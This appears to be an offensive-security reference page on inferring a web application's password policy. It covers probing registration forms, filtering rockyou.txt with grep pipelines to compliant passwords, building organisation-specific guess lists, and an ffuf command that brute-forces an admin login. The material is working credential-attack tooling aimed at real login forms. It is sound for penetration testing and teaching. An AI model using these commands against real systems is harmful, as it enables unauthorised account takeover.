# Password policy inference

> Identifying the password policy through registration, reset, or change forms - then filtering wordlists to compliant passwords only.

<!-- Source: codex/web/auth/password-policy -->
<!-- Codex offensive-security reference - codex.athenaos.org -->

import { Aside } from '@astrojs/starlight/components';

## TL;DR

Before brute-forcing, learn the policy. Filtering rockyou.txt from 14M lines to ~400k policy-compliant passwords is the difference between a feasible attack and a futile one.

```
# Probe policy by registering accounts with progressively-weaker passwords
Qwertyuiop123!@#                  → accepted: policy is satisfied
Qwertyuiop123                     → "needs special character"
Qwertyiop!@#                      → "needs digit"
qwertyuiop123!@#                  → "needs uppercase"
Qwerty1!                          → "minimum 12 characters"

# Filter a wordlist to compliant passwords only (12+ chars, mixed case, digit, special)
grep -E '^.{12,}$' rockyou.txt | grep '[[:upper:]]' | grep '[[:lower:]]' \
                                | grep '[0-9]' | grep '[[:punct:]]'
```

Success indicator: a wordlist sized to the actual policy, not the universe of all possible passwords.

## Why this matters

A standard wordlist (`rockyou.txt`) is 14 million entries. Brute-forcing against any modern login form - even with rate-limit bypasses - at one attempt per second takes 162 days. Filter to "must have uppercase, lowercase, digit, special, 12+ characters" and you're at maybe 100k entries, plus most of those won't be plausible candidates. With targeted filtering, brute-force becomes a 12-hour job instead of a half-year job.

The policy is also a hint about what real users in this organization probably picked - see the [Password attacks](#policy-aware-wordlists) section below.

## Where the policy lives

Every form that creates or changes a password reveals the policy:

- **Registration form** - fastest path; just try registering with weak passwords until one's accepted
- **Password change page (post-login)** - needs an account first
- **Password reset flow** - sometimes leaks policy when setting the new password
- **API endpoints** - JSON validation errors are often verbose
- **Embedded policy hints in HTML** - `<small>Password must be 12+ chars, mixed case, digit, special</small>` is gift-wrapped

Try the registration page first. If self-registration isn't open, the reset flow or password-change form (after compromising any account) is the next stop.

## Policy axes

Most policies are combinations of these axes:

| Axis | Common values |
| --- | --- |
| Minimum length | 6, 8, 10, 12, 14, 16 |
| Maximum length | usually unlimited; sometimes 20, 32, 64 |
| Character classes required | lowercase, uppercase, digit, special (any subset of the four) |
| Number of classes required | "at least 3 of the 4" patterns are common |
| Repeated characters allowed | usually yes, sometimes "no three in a row" |
| Dictionary check | sometimes - rejects common passwords from a known list |
| Username must not appear | sometimes - `admin` can't pick `Admin2024!` |
| Previous passwords | password-change-only - can't reuse last 5/10/24 |

The first four are what you'll see most often. The dictionary check is the surprising one - modern apps (and NIST 800-63B recommendations) push toward "check against a leaked-password list" rather than complexity rules, which both improves security and breaks some brute-force assumptions.

## Inferring the policy

Start from the strongest plausible password, weaken one axis at a time:

```
1.  Qwertyuiop123!@#$%             20 chars, all 4 classes        Accepted? → policy is at most this strong
2.  Qwertyuiop123!@#                15 chars, all 4 classes       Accepted? → length max ≥ 15
3.  Qwertyuiop123                   13 chars, no specials         Rejected → special required
4.  Qwerty12!                       9 chars, all 4 classes        Accepted? → min ≤ 9
5.  Qwerty1!                        8 chars, all 4 classes        Accepted? → min ≤ 8
6.  Qwerty!                         7 chars, no digit             Rejected → digit required AND min > 7
7.  qwerty12!                       8 chars, no uppercase         Rejected → uppercase required
8.  QWERTY12!                       8 chars, no lowercase         Rejected → lowercase required
```

After 8 attempts, you know: min length 8, all 4 character classes required, max length ≥ 15.

### Keep a matrix

This goes wrong without a tracking grid. Use this:

| Tried | Password | Lower | Upper | Digit | Special | ≥8 | ≥12 | Accepted |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Yes | `qwerty` | X | | | | | | No |
| Yes | `Qwerty` | X | X | | | | | No |
| Yes | `Qwerty1` | X | X | X | | | | No |
| Yes | `Qwerty1!` | X | X | X | X | X | | ? |
| Yes | `Qwertyuiop1!` | X | X | X | X | X | X | ? |
| Yes | `QWERTY1!` | | X | X | X | X | | ? |
| Yes | `qwerty1!` | X | | X | X | X | | ? |

Five to ten well-chosen attempts pin the policy. Note that some apps reveal the full policy in the first error message ("password must be 8+ characters with mixed case, digit, and special") - read every error response carefully before assuming you need to infer.

### Generic error responses

If the response is generic ("password does not meet requirements") without naming which requirement, infer by elimination. Try password variants that each violate exactly one axis and see which produce errors.

### Multi-step disclosure

Some apps reveal one requirement at a time ("password must be at least 8 characters" → fix that, retry → "password must contain a digit"). Walk through them one error at a time until the password is accepted.

## Filtering a wordlist to policy

Once the policy is known, filter the base wordlist with `grep`:

```bash
# Minimum 12 chars
grep -E '^.{12,}$' rockyou.txt > /tmp/12plus.txt

# Plus uppercase required
grep '[[:upper:]]' /tmp/12plus.txt > /tmp/12plus-upper.txt

# Plus lowercase required
grep '[[:lower:]]' /tmp/12plus-upper.txt > /tmp/12plus-mixed.txt

# Plus digit required
grep '[0-9]' /tmp/12plus-mixed.txt > /tmp/12plus-mixed-digit.txt

# Plus special required
grep -E '[!@#$%^&*()_+={};:,<.>/?\\|`~"-]' /tmp/12plus-mixed-digit.txt \
    > /tmp/policy-compliant.txt

wc -l /tmp/policy-compliant.txt
```

A typical chain - starting from rockyou.txt's 14M entries and filtering down to a strict 12+ chars, mixed-case, digit, special policy - produces about 100-500k entries.

### Single-pipeline form

```bash
grep -E '^.{12,}$' rockyou.txt \
  | grep '[[:upper:]]' \
  | grep '[[:lower:]]' \
  | grep '[0-9]' \
  | grep -E '[!@#$%^&*()_+={};:,<.>/?\\|`~"-]' \
  > policy-compliant.txt
```

### Length ranges

The policy might have a max length too - many apps cap at 20 or 32:

```bash
# 12-20 chars
grep -E '^.{12,20}$' rockyou.txt | grep '[[:upper:]]' | ...
```

### Excluding the username

If the policy bans the username, post-filter:

```bash
# Exclude passwords containing the username (case-insensitive)
grep -viE '(^|[^a-z])admin([^a-z]|$)' policy-compliant.txt > final.txt
```

## Policy-aware wordlists

Knowing the policy also tells you what users probably picked. The policy is the lower bound of complexity; real passwords cluster just above it.

If the policy is "8 chars, mixed case, digit, special," common real-world patterns include:

```
<CommonWord>1!              Spring1!, Summer1!, Winter1!, Autumn1!
<CommonWord>123!            Password123!, Welcome123!
<CompanyName>1!             Acmecorp1!, Initech1!
<Year>!                     2024!, 2025!
<Season><Year>!             Spring2024!, Summer2024!
P@ssw0rd!                   the granddaddy of weak compliant passwords
Welcome1!                   onboarding default that "got changed" - to itself
```

If the policy is "12 chars" the patterns lengthen but follow the same form:

```
Password1234!
Welcome2024!!
CompanyName2024!
```

A bespoke wordlist of 100 entries following these patterns often outperforms a 500k-line filtered rockyou.

### Generating organization-specific patterns

```bash
# Common patterns scoped to "acme corp"
cat > /tmp/acme-patterns.txt << 'EOF'
Acme2024!
Acme2025!
Acme1234!
ACME2024!
Acmecorp1!
Acmecorp2024!
AcmeCorp1!
AcmeCorp2024!
Welcome2024!
Spring2024!
Summer2024!
Autumn2024!
Winter2024!
EOF
```

Mix these with `cewl` output (a wordlist generator that crawls a target site for terms) for an even more targeted set.

## NIST 800-63B context

NIST's modern guidance flipped the conventional wisdom:

- **Don't require composition rules** (mixed case, special chars)
- **Don't require periodic rotation**
- **Do check against a known-leaked-passwords list**
- **Do encourage long passphrases** (length > complexity)

Applications following the new guidance often don't have a complexity policy at all - they just reject passwords from a leaked-password list. The brute-force implications:

- Wordlist filtering by complexity is useless (no complexity policy to filter against)
- Most rockyou.txt entries are rejected outright as "known leaked"
- New passwords cluster around long-but-unique strings - much harder to brute-force

If you find an application with no apparent complexity policy, test by submitting a known-leaked password like `password123` during registration. If it's rejected, you're against a modern policy and brute-forcing through a leaked-password list is closed.

## Inferring without registering

When self-registration isn't available, the password change page (post-login on any account, including your test account if you can create one) reveals the same policy. Same matrix-driven approach.

For applications where you can't get even one account:

```bash
# Sometimes the password policy is in robots.txt, README, or API docs
curl -s https://<TARGET>/robots.txt
curl -s https://<TARGET>/api/auth/policy 2>/dev/null
curl -s https://<TARGET>/help/security-faq

# Or in client-side validation JavaScript
curl -s https://<TARGET>/login | grep -iE 'password.*length|password.*regex'
curl -s https://<TARGET>/js/*.js 2>/dev/null | grep -iE 'password.*length'
```

Modern apps often validate client-side first using a regex visible in the page source. That regex is the policy.

## Brute-forcing with the filtered list

Once you have a compliant wordlist, brute-force with awareness of [bruteforce protections](/codex/web/auth/bruteforce-protections/):

```bash
# Standard form brute-force with CSRF token re-fetch and rate-limit-aware throttling
ffuf -w policy-compliant.txt:PASS \
     -u https://<TARGET>/login \
     -X POST -d "user=admin&pass=PASS" \
     -t 1 -p 7 \
     -fr "Invalid credentials"
```

## Detection-only signals

```bash
# Submit a definitely-invalid password and read every error in the response
curl -s -X POST -d "user=test&pass=a" \
     https://<TARGET>/register | grep -iE '(password|requirement|character|length)'
```

A verbose response page that lists all the requirements is the cheapest possible policy disclosure. Always read the response carefully before inferring through trial-and-error.

## Notes

- **Document the policy.** Once inferred, write it down. Engagements that span multiple days waste effort re-deriving the same policy after a break.
- **Length bounds matter on both ends.** A few apps cap the maximum password length surprisingly low (16 characters) - passwords longer than the max are accepted at registration but silently truncated, leading to weird login failures during testing.
- **The "complexity" axis isn't the only one.** Some apps reject passwords containing the username, dictionary words, sequential characters (`abcd`, `1234`), or repeated characters. Each of these requires its own grep filter.
- **Server-side vs. client-side policy.** Sometimes the policy enforced in JavaScript is stricter than the server actually enforces. Bypass the JS and submit a weaker password directly to the endpoint - if it's accepted, your wordlist filter can be looser.

<Aside type="tip">
Combine policy inference with [username enumeration](/codex/web/auth/username-enumeration/) before brute-forcing. Without a username, brute-forcing is exponentially harder; with one, plus a policy-filtered wordlist, the attack is concrete and bounded.
</Aside>